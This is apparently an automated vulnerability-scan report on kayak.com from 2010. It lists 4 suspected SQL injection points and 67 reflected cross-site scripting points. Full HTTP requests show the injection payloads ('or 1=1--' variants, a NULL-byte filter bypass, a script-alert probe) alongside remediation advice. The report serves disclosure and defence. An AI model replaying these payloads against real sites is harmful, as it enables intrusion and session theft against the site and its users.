H1 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 1.6em; font-weight: bold; line-height: 1.0em; } H2 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 0.8em; font-weight: bold; line-height: 1.0em; } .TOCH0 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 1.0em; font-weight: bold; line-height: 0.6em; } .TOCH1 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 0.8em; text-indent: 30px; line-height: 0.5em; } .TOCH2 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 0.7em; text-indent: 50px; line-height: 0.0em; } .BODH0 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 1.6em; font-weight: bold; line-height: 2.0em; } .BODH1 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 1.3em; font-weight: bold; line-height: 2.0em; } .BODH2 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 1.0em; font-weight: bold; line-height: 2.0em; } .PREVNEXT { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 0.6em; color: gray } .TEXT { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 0.8em; } TD { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 0.8em; } .HIGHLIGHT { background-color: yellow; } .RR_SCROLL { overflow-x: visible; overflow-y: auto; height: 300px; } .RR_TABLE_SCREEN { background-color: #e8e8e8; width:100%; } .RR_TABLE_PRINTER { background-color: #e8e8e8; width:100%; border-width: medium; border-style: solid; border-color: gray; } Report generated by Hoyt LLC Research at Sun Nov 14 16:16:07 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. SQL injection

1.1. http://www.kayak.com/h/newsletter/livedemo/deals [cluster cookie]

1.2. http://www.kayak.com/s/search/hotel [kayak cookie]

1.3. http://www.kayak.com/s/sparkle [cluster cookie]

1.4. http://www.kayak.com/vs/client%20page%20load/front%20door/flights/ms/475 [cluster cookie]

2. Cross-site scripting (reflected)

2.1. http://www.kayak.com/cars [location parameter]

2.2. http://www.kayak.com/hotels [comparetosite parameter]

2.3. http://www.kayak.com/hotels [hid parameter]

2.4. http://www.kayak.com/hotels [hid parameter]

2.5. http://www.kayak.com/hotels [lmid parameter]

2.6. http://www.kayak.com/hotels [lmid parameter]

2.7. http://www.kayak.com/hotels [location parameter]

2.8. http://www.kayak.com/in [url parameter]

2.9. http://www.kayak.com/in [url parameter]

2.10. http://www.kayak.com/k/cookie [metacookie parameter]

2.11. http://www.kayak.com/k/cookie [metavalue parameter]

2.12. http://www.kayak.com/k/profile/alerts [name of an arbitrarily supplied request parameter]

2.13. http://www.kayak.com/maps/geocoder [h parameter]

2.14. http://www.kayak.com/maps/geocoder [w parameter]

2.15. http://www.kayak.com/s/jsresults [s parameter]

2.16. http://www.kayak.com/v349/h/nvtl/califrame.vtl [REST URL parameter 1]

2.17. http://www.kayak.com/v349/js/alien/jquery.js [REST URL parameter 1]

2.18. http://www.kayak.com/v349/js/car.js [REST URL parameter 1]

2.19. http://www.kayak.com/v349/js/fdcar.js [REST URL parameter 1]

2.20. http://www.kayak.com/v349/js/fdcommon.js [REST URL parameter 1]

2.21. http://www.kayak.com/v349/js/fdflight.js [REST URL parameter 1]

2.22. http://www.kayak.com/v349/js/fdhotel.js [REST URL parameter 1]

2.23. http://www.kayak.com/v349/js/fdvacation.js [REST URL parameter 1]

2.24. http://www.kayak.com/v349/js/homeairport.js [REST URL parameter 1]

2.25. http://www.kayak.com/v349/js/hotel.js [REST URL parameter 1]

2.26. http://www.kayak.com/v349/js/newsletter.js [REST URL parameter 1]

2.27. http://www.kayak.com/v349/js/r9.js [REST URL parameter 1]

2.28. http://www.kayak.com/v349/js/r9cal.js [REST URL parameter 1]

2.29. http://www.kayak.com/v349/js/sparkle.js [REST URL parameter 1]

2.30. http://www.kayak.com/v349/js/streaming.js [REST URL parameter 1]

2.31. http://www.kayak.com/v349/js/vacation.js [REST URL parameter 1]

2.32. http://www.kayak.com/vs/client%20page%20load/front%20door/vacations/ms/10018 [action parameter]

2.33. http://www.kayak.com/ [Referer HTTP header]

2.34. http://www.kayak.com/cars [Referer HTTP header]

2.35. http://www.kayak.com/cars [Referer HTTP header]

2.36. http://www.kayak.com/flights [Referer HTTP header]

2.37. http://www.kayak.com/h/ads/results [User-Agent HTTP header]

2.38. http://www.kayak.com/h/elanding [Referer HTTP header]

2.39. http://www.kayak.com/hotels [Referer HTTP header]

2.40. http://www.kayak.com/hotels [Referer HTTP header]

2.41. http://www.kayak.com/in [Referer HTTP header]

2.42. http://www.kayak.com/r/SetUhw [Referer HTTP header]

2.43. http://www.kayak.com/r/UO3ZOs [Referer HTTP header]

2.44. http://www.kayak.com/r/caKg5L [Referer HTTP header]

2.45. http://www.kayak.com/s/search/car [Referer HTTP header]

2.46. http://www.kayak.com/s/sparkle [Referer HTTP header]

2.47. http://www.kayak.com/s/sparkle [User-Agent HTTP header]

2.48. http://www.kayak.com/vacations [Referer HTTP header]

2.49. http://www.kayak.com/vs/client%20page%20load/final%20results/car/ms/23345 [User-Agent HTTP header]

2.50. http://www.kayak.com/vs/client%20page%20load/final%20results/hotel/ms/17578 [User-Agent HTTP header]

2.51. http://www.kayak.com/vs/client%20page%20load/final%20results/vacation/ms/9906 [User-Agent HTTP header]

2.52. http://www.kayak.com/vs/client%20page%20load/front%20door/flights/ms/475 [User-Agent HTTP header]

2.53. http://www.kayak.com/vs/client%20page%20load/front%20door/hotels/ms/3297 [User-Agent HTTP header]

2.54. http://www.kayak.com/vs/client%20page%20load/front%20door/hotels/ms/731 [User-Agent HTTP header]

2.55. http://www.kayak.com/vs/client%20page%20load/front%20door/vacations/ms/10018 [Referer HTTP header]

2.56. http://www.kayak.com/vs/client%20page%20load/front%20door/vacations/ms/602 [User-Agent HTTP header]

2.57. http://www.kayak.com/vs/cmpallclk.hotels [User-Agent HTTP header]

2.58. http://www.kayak.com/ [Apache cookie]

2.59. http://www.kayak.com/ [p1.med.st cookie]

2.60. http://www.kayak.com/ [p1.med.st cookie]

2.61. http://www.kayak.com/ [p1.med.st cookie]

2.62. http://www.kayak.com/cars [Apache cookie]

2.63. http://www.kayak.com/flights [Apache cookie]

2.64. http://www.kayak.com/hotels [Apache cookie]

2.65. http://www.kayak.com/s/search/car [Apache cookie]

2.66. http://www.kayak.com/s/search/hotel [Apache cookie]

2.67. http://www.kayak.com/vacations [Apache cookie]



1. SQL injection  next
There are 4 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://www.kayak.com/h/newsletter/livedemo/deals [cluster cookie]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.kayak.com
Path:   /h/newsletter/livedemo/deals

Issue detail

The cluster cookie appears to be vulnerable to SQL injection attacks. The payloads 98934836'%20or%201%3d1--%20 and 98934836'%20or%201%3d2--%20 were each submitted in the cluster cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /h/newsletter/livedemo/deals HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=498934836'%20or%201%3d1--%20; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response 1 (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:44:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=20-Z0EdKsXI_k6YAtDi_lrX; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=vwLdOCjmf2bkBcwXRKPw7w; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 20:44:36 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Expires: 0
Expires: 0
Expires: 0
Content-Length: 85109

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>KAYAK's Sizzlin' Travel Deals this Week</title>
<meta http-equiv="content-language" content="en-US"/>
<meta name="description" content="Find great travel deals at KAYAK. KAYAK searches 4000+ sites to find discounted hotel rooms, airline tickets and last minute vacation deals. New travel deals are added each day."/>
<meta name="keywords" content="travel deals, cheap travel deal, vacation deals, great deals on travel, last minute travel, las vegas travel deals, beach travel deals, cancun travel deals, deals on travel, mexico travel deals, paris travel deals, best travel deals, great travel deals, hawaii travel deals, washington dc travel deals, travel vacation deals, cruise travel deals, family travel deals, last minute travel deals, caribbean travel deals, cheap travel deals, hot travel deals, travel deals flights, weekend travel deals"/>
<meta property="fb:app_id" content="163003079204"/>
<meta property="og:site_name" content="KAYAK"/>

<link rel="stylesheet" href="/v349/css/reset-fonts-grids.css" type="text/css" />

...[SNIP]...

Request 2

GET /h/newsletter/livedemo/deals HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=498934836'%20or%201%3d2--%20; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response 2 (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:44:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Expires: 0
Expires: 0
Expires: 0
Content-Length: 85109

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>KAYAK's Sizzlin' Travel Deals this Week</title>
<meta http-equiv="content-language" content="en-US"/>
<meta name="description" content="Find great travel deals at KAYAK. KAYAK searches 4000+ sites to find discounted hotel rooms, airline tickets and last minute vacation deals. New travel deals are added each day."/>
<meta name="keywords" content="travel deals, cheap travel deal, vacation deals, great deals on travel, last minute travel, las vegas travel deals, beach travel deals, cancun travel deals, deals on travel, mexico travel deals, paris travel deals, best travel deals, great travel deals, hawaii travel deals, washington dc travel deals, travel vacation deals, cruise travel deals, family travel deals, last minute travel deals, caribbean travel deals, cheap travel deals, hot travel deals, travel deals flights, weekend travel deals"/>
<meta property="fb:app_id" content="163003079204"/>
<meta property="og:site_name" content="KAYAK"/>

<link rel="stylesheet" href="/v349/css/reset-fonts-grids.css" type="text/css" />
<link rel="stylesheet" href="/v349/css/r9.css" type="text/css" />


<link rel="shortcut icon" href="/k.ico"/>

<meta name="robots" content="NOODP">



<script type="text/javascript" src="/v349/js/r9.js"></script>

<script>
AjaxReg.globalurlsecure = "https://www.kayak.com";
</script>

<link rel="stylesheet" href="/v349/aff/sidestep/css/sideste
...[SNIP]...

1.2. http://www.kayak.com/s/search/hotel [kayak cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.kayak.com
Path:   /s/search/hotel

Issue detail

The kayak cookie appears to be vulnerable to SQL injection attacks. The payloads 52589411'%20or%201%3d1--%20 and 52589411'%20or%201%3d2--%20 were each submitted in the kayak cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /s/search/hotel HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T52589411'%20or%201%3d1--%20; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response 1 (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:45:03 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 51854

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<td colspan="4" style="height:12px;"></td></tr>
<tr><td colspan="4" style="height:18px;white-space:nowrap;vertical-align:middle;">
<div style="padding: 0 0 0 9px;">
<input name="triptype" id="triptypebiz" value="business" type="radio" /> <label style="vertical-align:middle;display:inline;" for="triptypebiz">Business</label> &nbsp;
<input name="triptype" id="triptypeleisure" value="leisure" type="radio" /> <label style="vertical-align:middle;display:inline;" for="triptypeleisure">Leisure</label> &nbsp;
<input name="triptype" id="triptypeother" value="other" type="radio" /> <label style="vertical-align:middle;display:inline;" for="triptypeother">Other</label>
</div>
</td></tr>

<tr><td colspan="4" style="height:12px;"></td></tr>

<tr>
<td colspan="4" width="100%" style="padding-right:8px;">
<fieldset style="border: 1px solid #ccc; padding: 0px 0px 0px 6px; width:100%;">
<legend style="padding-left:0px;"><label>When <span class="subtext">(optional)</span></label></legend>
<table cellspacing="0" cellpadding="0" width="100%">
<tr>
<td class="display_format" style="width: 134px; padding-top:6px">Check-in</td>
<td class="display_format" style="width: 134px; padding-top:6px">Check-out</td>
<td style="width: 42px; padding-top:6px;">Rooms</td>
<td style="padding-left:6px; padding-top:6px;">Guests</td>

</tr>
<tr>
<td class="display_format" nowrap>
<input class="calendar_dom glow" type="text" name="checkin_date" id="checkin_date" size="10" maxlength="10" value="" tabindex="2"/>

<span id="checkin_date_calicon" class="calicon_link">
<img src="/v349/images/calendar_orange.gif" alt="Set check-in date"
class="calicon" id="checkin_cal" width="14" height="14" border="0" /></span>

&nbsp;&nbsp;
<div clas
...[SNIP]...

Request 2

GET /s/search/hotel HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T52589411'%20or%201%3d2--%20; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response 2 (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:45:04 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 51156

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<td colspan="4" style="height:18px;"></td></tr>

<tr>
<td colspan="4" width="100%" style="padding-right:8px;">
<fieldset style="border: 1px solid #ccc; padding: 0px 0px 0px 6px; width:100%;">
<legend style="padding-left:0px;"><label>When <span class="subtext">(optional)</span></label></legend>
<table cellspacing="0" cellpadding="0" width="100%">
<tr>
<td class="display_format" style="width: 134px; padding-top:6px">Check-in</td>
<td class="display_format" style="width: 134px; padding-top:6px">Check-out</td>
<td style="width: 42px; padding-top:6px;">Rooms</td>
<td style="padding-left:6px; padding-top:6px;">Guests</td>

</tr>
<tr>
<td class="display_format" nowrap>
<input class="calendar_dom glow" type="text" name="checkin_date" id="checkin_date" size="10" maxlength="10" value="" tabindex="2"/>

<span id="checkin_date_calicon" class="calicon_link">
<img src="/v349/images/calendar_orange.gif" alt="Set check-in date"
class="calicon" id="checkin_cal" width="14" height="14" border="0" /></span>

&nbsp;&nbsp;
<div class="calendar_day_helptext" id="checkin_date_domlabel">&nbsp;</div>
</td>

<td class="display_format" nowrap style="margin-right:2px">
<input class="calendar_dom glow" type="text" name="checkout_date" id="checkout_date" size="10" maxlength="10" value="" tabindex="3" />

<span id="checkout_date_calicon" class="calicon_link">
<img src="/v349/images/calendar_orange.gif" alt="Set check-out date"
class="calicon" id="checkout_cal" width="14" height="14" border="0" /></span>
<div class="calendar_day_helptext" id="checkout_date_domlabel">&nbsp;</div>

...[SNIP]...

1.3. http://www.kayak.com/s/sparkle [cluster cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.kayak.com
Path:   /s/sparkle

Issue detail

The cluster cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the cluster cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /s/sparkle HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4%00'; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response 1 (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:43:30 GMT
Content-Length: 15628
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0

<html>
<head>
<meta property="fb:app_id" content="163003079204"/>
<meta property="og:site_name" content="KAYAK"/>

<link rel="stylesheet" href="/v349/css/reset-fonts-grids.css" type="tex
...[SNIP]...
font-family: Tahoma, sans-serif;
padding: 13px 16px;
}

button {
width: 130px;
}

div.key_error {
margin: 0 6px 1em;
width: 620px;
}

#create,
#login {
width: 297px;
}


...[SNIP]...

Request 2

GET /s/sparkle HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4%00''; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response 2

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:43:30 GMT
Content-Length: 9427
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...

1.4. http://www.kayak.com/vs/client%20page%20load/front%20door/flights/ms/475 [cluster cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.kayak.com
Path:   /vs/client%20page%20load/front%20door/flights/ms/475

Issue detail

The cluster cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the cluster cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /vs/client%20page%20load/front%20door/flights/ms/475 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4%00'; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response 1 (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:45:58 GMT
Content-Length: 15628
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0

<html>
<head>
<meta property="fb:app_id" content="163003079204"/>
<meta property="og:site_name" content="KAYAK"/>

<link rel="stylesheet" href="/v349/css/reset-fonts-grids.css" type="tex
...[SNIP]...
font-family: Tahoma, sans-serif;
padding: 13px 16px;
}

button {
width: 130px;
}

div.key_error {
margin: 0 6px 1em;
width: 620px;
}

#create,
#login {
width: 297px;
}


...[SNIP]...

Request 2

GET /vs/client%20page%20load/front%20door/flights/ms/475 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4%00''; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response 2

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:45:58 GMT
Content-Length: 9549
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...

2. Cross-site scripting (reflected)  previous
There are 67 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.kayak.com/cars [location parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /cars

Issue detail

The value of the location request parameter is copied into the HTML document as plain text between tags. The payload 210c6<script>alert(1)</script>1c93a182a2c was submitted in the location parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cars?tab=cars&pickup_date=11%2F17%2F2010&location=Boston%2C+MA%2C+US210c6<script>alert(1)</script>1c93a182a2c&oneway=n&dropoff_date=11%2F18%2F2010&pickup_hour=9&dropoff_hour=9&action=docars HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/r/UO3ZOs
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
